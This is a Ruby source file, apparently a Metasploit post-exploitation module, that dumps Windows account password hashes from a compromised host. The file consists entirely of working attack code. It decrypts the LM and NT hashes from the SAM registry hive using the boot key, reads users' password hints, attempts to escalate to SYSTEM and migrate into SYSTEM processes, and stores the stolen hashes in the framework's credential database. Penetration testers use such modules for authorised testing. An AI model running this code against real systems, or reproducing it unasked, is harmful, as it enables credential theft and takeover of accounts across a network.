## # This module requires Metasploit: https://metasploit.com/download # Current source: https://github.com/rapid7/metasploit-framework ## class MetasploitModule < Msf::Post include Msf::Post::File include Msf::Post::Windows::Priv include Msf::Post::Windows::Registry include Msf::Post::Windows::Accounts include Msf::Auxiliary::Report def initialize(info = {}) super( update_info( info, 'Name' => 'Windows Gather Local and Domain Controller Account Password Hashes', 'Description' => %q{ This will dump local accounts from the SAM Database. If the target host is a Domain Controller, it will dump the Domain Account Database using the proper technique depending on privilege level, OS and role of the host. }, 'License' => MSF_LICENSE, 'Author' => [ 'Carlos Perez '], 'Platform' => [ 'win' ], 'SessionTypes' => [ 'meterpreter' ], 'Compat' => { 'Meterpreter' => { 'Commands' => %w[ core_migrate priv_elevate_getsystem priv_passwd_get_sam_hashes stdapi_registry_open_key stdapi_sys_config_sysinfo stdapi_sys_process_getpid ] } } ) ) register_options( [ OptBool.new('GETSYSTEM', [ false, 'Attempt to get SYSTEM privilege on the target host.', false]) ] ) @smb_port = 445 # Constants for SAM decryption @sam_lmpass = "LMPASSWORD\x00" @sam_ntpass = "NTPASSWORD\x00" @sam_qwerty = "!@\#$%^&*()qwertyUIOPAzxcvbnmQQQQQQQQQQQQ)(*@&%\x00" @sam_numeric = "0123456789012345678901234567890123456789\x00" @sam_empty_lm = ['aad3b435b51404eeaad3b435b51404ee'].pack('H*') @sam_empty_nt = ['31d6cfe0d16ae931b73c59d7e0c089c0'].pack('H*') end # Run Method for when run command is issued def run print_status("Running module against #{sysinfo['Computer']}") host = Rex::FileUtils.clean_path(sysinfo['Computer']) hash_file = store_loot('windows.hashes', 'text/plain', session, '', "#{host}_hashes.txt", 'Windows Hashes') print_status('Hashes will be saved to the database if one is connected.') print_good('Hashes will be saved in loot in JtR password file format to:') print_status(hash_file) smart_hash_dump(datastore['GETSYSTEM'], hash_file) end #------------------------------------------------------------------------------- def capture_hboot_key(bootkey) ok = session.sys.registry.open_key(HKEY_LOCAL_MACHINE, 'SAM\\SAM\\Domains\\Account', KEY_READ) return if !ok vf = ok.query_value('F') return if !vf vf = vf.data ok.close hash = Digest::MD5.new hash.update(vf[0x70, 16] + @sam_qwerty + bootkey + @sam_numeric) rc4 = OpenSSL::Cipher.new('rc4') rc4.decrypt rc4.key = hash.digest hbootkey = rc4.update(vf[0x80, 32]) hbootkey << rc4.final return hbootkey end #------------------------------------------------------------------------------- def capture_user_keys users = {} ok = session.sys.registry.open_key(HKEY_LOCAL_MACHINE, 'SAM\\SAM\\Domains\\Account\\Users', KEY_READ) return if !ok ok.enum_key.each do |usr| uk = session.sys.registry.open_key(HKEY_LOCAL_MACHINE, "SAM\\SAM\\Domains\\Account\\Users\\#{usr}", KEY_READ) next if usr == 'Names' users[usr.to_i(16)] ||= {} users[usr.to_i(16)][:F] = uk.query_value('F').data users[usr.to_i(16)][:V] = uk.query_value('V').data # Attempt to get Hints (from Win7/Win8 Location) begin users[usr.to_i(16)][:UserPasswordHint] = uk.query_value('UserPasswordHint').data rescue ::Rex::Post::Meterpreter::RequestError users[usr.to_i(16)][:UserPasswordHint] = nil end uk.close end ok.close ok = session.sys.registry.open_key(HKEY_LOCAL_MACHINE, 'SAM\\SAM\\Domains\\Account\\Users\\Names', KEY_READ) ok.enum_key.each do |usr| uk = session.sys.registry.open_key(HKEY_LOCAL_MACHINE, "SAM\\SAM\\Domains\\Account\\Users\\Names\\#{usr}", KEY_READ) r = uk.query_value('') rid = r.type users[rid] ||= {} users[rid][:Name] = usr # Attempt to get Hints (from WinXP Location) only if it's not set yet if users[rid][:UserPasswordHint].nil? begin uk_hint = session.sys.registry.open_key(HKEY_LOCAL_MACHINE, "SOFTWARE\\Microsoft\\Windows\\CurrentVersion\\Hints\\#{usr}", KEY_READ) users[rid][:UserPasswordHint] = uk_hint.query_value('').data rescue ::Rex::Post::Meterpreter::RequestError users[rid][:UserPasswordHint] = nil end end uk.close end ok.close users end #------------------------------------------------------------------------------- def decrypt_user_keys(hbootkey, users) users.each_key do |rid| user = users[rid] hashlm_enc = '' hashnt_enc = '' hoff = user[:V][0x9c, 4].unpack1('V') + 0xcc # Check if hashes exist (if 20, then we've got a hash) lm_exists = user[:V][0x9c + 4, 4].unpack1('V') == 20 nt_exists = user[:V][0x9c + 16, 4].unpack1('V') == 20 # If we have a hashes, then parse them (Note: NT is dependant on LM) hashlm_enc = user[:V][hoff + 4, 16] if lm_exists hashnt_enc = user[:V][(hoff + (lm_exists ? 24 : 8)), 16] if nt_exists user[:hashlm] = decrypt_user_hash(rid, hbootkey, hashlm_enc, @sam_lmpass) user[:hashnt] = decrypt_user_hash(rid, hbootkey, hashnt_enc, @sam_ntpass) end users end #------------------------------------------------------------------------------- def decode_windows_hint(e_string) d_string = '' e_string.scan(/..../).each do |chunk| bytes = chunk.scan(/../) d_string += (bytes[1] + bytes[0]).to_s.hex.chr end d_string end #------------------------------------------------------------------------------- def rid_to_key(rid) s1 = [rid].pack('V') s1 << s1[0, 3] s2b = [rid].pack('V').unpack('C4') s2 = [s2b[3], s2b[0], s2b[1], s2b[2]].pack('C4') s2 << s2[0, 3] [convert_des_56_to_64(s1), convert_des_56_to_64(s2)] end #------------------------------------------------------------------------------- def decrypt_user_hash(rid, hbootkey, enchash, pass) if enchash.empty? case pass when @sam_lmpass return @sam_empty_lm when @sam_ntpass return @sam_empty_nt end return '' end des_k1, des_k2 = rid_to_key(rid) d1 = OpenSSL::Cipher.new('des-ecb') d1.decrypt d1.padding = 0 d1.key = des_k1 d2 = OpenSSL::Cipher.new('des-ecb') d2.decrypt d2.padding = 0 d2.key = des_k2 md5 = Digest::MD5.new md5.update(hbootkey[0, 16] + [rid].pack('V') + pass) rc4 = OpenSSL::Cipher.new('rc4') rc4.decrypt rc4.key = md5.digest okey = rc4.update(enchash) d1o = d1.update(okey[0, 8]) d1o << d1.final d2o = d2.update(okey[8, 8]) d1o << d2.final d1o + d2o end #------------------------------------------------------------------------------- def read_hashdump host = session.session_host collected_hashes = '' tries = 1 begin print_status("\tObtaining the boot key...") bootkey = capture_boot_key print_status("\tCalculating the hboot key using SYSKEY #{bootkey.unpack1('H*')}...") hbootkey = capture_hboot_key(bootkey) print_status("\tObtaining the user list and keys...") users = capture_user_keys print_status("\tDecrypting user keys...") users = decrypt_user_keys(hbootkey, users) print_status("\tDumping password hints...") hint_count = 0 users.keys.sort { |a, b| a <=> b }.each do |rid| # If we have a hint then print it if !users[rid][:UserPasswordHint].nil? && !users[rid][:UserPasswordHint].empty? print_good("\t#{users[rid][:Name]}:\"#{users[rid][:UserPasswordHint]}\"") hint_count += 1 end end print_status("\tNo users with password hints on this system") if hint_count == 0 print_status("\tDumping password hashes...") users.keys.sort { |a, b| a <=> b }.each do |rid| # next if guest account next if rid == 501 collected_hashes << "#{users[rid][:Name]}:#{rid}:#{users[rid][:hashlm].unpack1('H*')}:#{users[rid][:hashnt].unpack1('H*')}:::\n" print_good("\t#{users[rid][:Name]}:#{rid}:#{users[rid][:hashlm].unpack1('H*')}:#{users[rid][:hashnt].unpack1('H*')}:::") service_data = { address: host, port: @smb_port, service_name: 'smb', protocol: 'tcp', workspace_id: myworkspace_id } credential_data = { origin_type: :session, session_id: session_db_id, post_reference_name: refname, private_type: :ntlm_hash, private_data: users[rid][:hashlm].unpack1('H*') + ':' + users[rid][:hashnt].unpack1('H*'), username: users[rid][:Name] } credential_data.merge!(service_data) # Create the Metasploit::Credential::Core object credential_core = create_credential(credential_data) # Assemble the options hash for creating the Metasploit::Credential::Login object login_data = { core: credential_core, status: Metasploit::Model::Login::Status::UNTRIED } # Merge in the service data and create our Login login_data.merge!(service_data) create_credential_login(login_data) end rescue ::Interrupt raise $ERROR_INFO rescue ::Rex::Post::Meterpreter::RequestError => e # Sometimes we get this invalid handle race condition. # So let's retry a couple of times before giving up. # See bug #6815 if (tries < 5) && e.to_s =~ /The handle is invalid/ print_status('Handle is invalid, retrying...') tries += 1 retry else print_error("Meterpreter Exception: #{e.class} #{e}") print_error('This script requires the use of a SYSTEM user context (hint: migrate into service process)') end rescue ::Exception => e print_error("Error: #{e.class} #{e} #{e.backtrace}") end return collected_hashes end #------------------------------------------------------------------------------- def inject_hashdump collected_hashes = '' host = session.session_host # Load priv extension session.core.use('priv') # dump hashes session.priv.sam_hashes.each do |h| returned_hash = h.to_s.split(':') if returned_hash[1] == 'j' returned_hash.delete_at(1) end rid = returned_hash[1].to_i # Skip the Guest Account next if rid == 501 # skip if it returns nil for an entry next if h.nil? begin user = returned_hash[0].scan(/^[a-zA-Z0-9_\-$.]*/).join.gsub(/\.$/, '') lmhash = returned_hash[2].scan(/[a-f0-9]*/).join next if lmhash.nil? hash_entry = "#{user}:#{rid}:#{lmhash}:#{returned_hash[3]}" collected_hashes << "#{hash_entry}\n" print_good("\t#{hash_entry}") service_data = { address: host, port: @smb_port, service_name: 'smb', protocol: 'tcp', workspace_id: myworkspace_id } credential_data = { origin_type: :session, session_id: session_db_id, post_reference_name: refname, private_type: :ntlm_hash, private_data: "#{lmhash}:#{returned_hash[3]}", username: user } credential_data.merge!(service_data) # Create the Metasploit::Credential::Core object credential_core = create_credential(credential_data) # Assemble the options hash for creating the Metasploit::Credential::Login object login_data = { core: credential_core, status: Metasploit::Model::Login::Status::UNTRIED } # Merge in the service data and create our Login login_data.merge!(service_data) create_credential_login(login_data) rescue StandardError next end end return collected_hashes end #------------------------------------------------------------------------------- # Function to migrate to a process running as SYSTEM def move_to_sys # Make sure you got the correct SYSTEM Account Name no matter the OS Language local_sys = resolve_sid('S-1-5-18') system_account_name = "#{local_sys[:domain]}\\#{local_sys[:name]}" # Processes that can Blue Screen a host if migrated in to dangerous_processes = ['lsass.exe', 'csrss.exe', 'smss.exe'] print_status('Migrating to process owned by SYSTEM') session.sys.process.processes.each do |p| # Check we are not migrating to a process that can BSOD the host next if dangerous_processes.include?(p['name']) next if p['pid'] == session.sys.process.getpid next unless p['user'] == system_account_name print_status("Migrating to #{p['name']}") session.core.migrate(p['pid']) print_good("Successfully migrated to #{p['name']}") return end end #------------------------------------------------------------------------------- def smart_hash_dump(migrate_system, pwdfile) domain_controller = domain_controller? print_good('Host is a Domain Controller') if domain_controller if !is_uac_enabled? || is_admin? print_status('Dumping password hashes...') version = get_version_info # Check if Running as SYSTEM if is_system? # For DC's the registry read method does not work. if domain_controller begin file_local_write(pwdfile, inject_hashdump) rescue ::Exception print_error('Failed to dump hashes as SYSTEM, trying to migrate to another process') if version.build_number.between?(Msf::WindowsVersion::Server2008_SP0, Msf::WindowsVersion::Server2012_R2) && version.windows_server? move_to_sys file_local_write(pwdfile, inject_hashdump) else print_error('Could not get NTDS hashes!') end end # Check if not DC else print_status 'Running as SYSTEM extracting hashes from registry' file_local_write(pwdfile, read_hashdump) end # Check if not running as SYSTEM elsif domain_controller # Check if Domain Controller begin file_local_write(pwdfile, inject_hashdump) rescue StandardError if migrate_system print_status('Trying to get SYSTEM privilege') results = session.priv.getsystem if results[0] print_good('Got SYSTEM privilege') if version.build_number.between?(Msf::WindowsVersion::Server2008_SP0, Msf::WindowsVersion::Server2012_R2) && version.windows_server? # Migrate process since on Windows 2008 R2 getsystem # does not set certain privilege tokens required to # inject and dump the hashes. move_to_sys end file_local_write(pwdfile, inject_hashdump) else print_error('Could not obtain SYSTEM privileges') end else print_error('Could not get NTDS hashes!') end end elsif version.build_number.between?(Msf::WindowsVersion::Vista_SP0, Msf::WindowsVersion::Win81) if migrate_system print_status('Trying to get SYSTEM privilege') results = session.priv.getsystem if results[0] print_good('Got SYSTEM privilege') file_local_write(pwdfile, read_hashdump) else print_error('Could not obtain SYSTEM privilege') end else print_error('On this version of Windows you need to be NT AUTHORITY\\SYSTEM to dump the hashes') print_error('Try setting GETSYSTEM to true.') end elsif migrate_system print_status('Trying to get SYSTEM privilege') results = session.priv.getsystem if results[0] print_good('Got SYSTEM privilege') file_local_write(pwdfile, read_hashdump) else print_error('Could not obtain SYSTEM privileges') end else file_local_write(pwdfile, inject_hashdump) end else print_error('Insufficient privileges to dump hashes!') end end end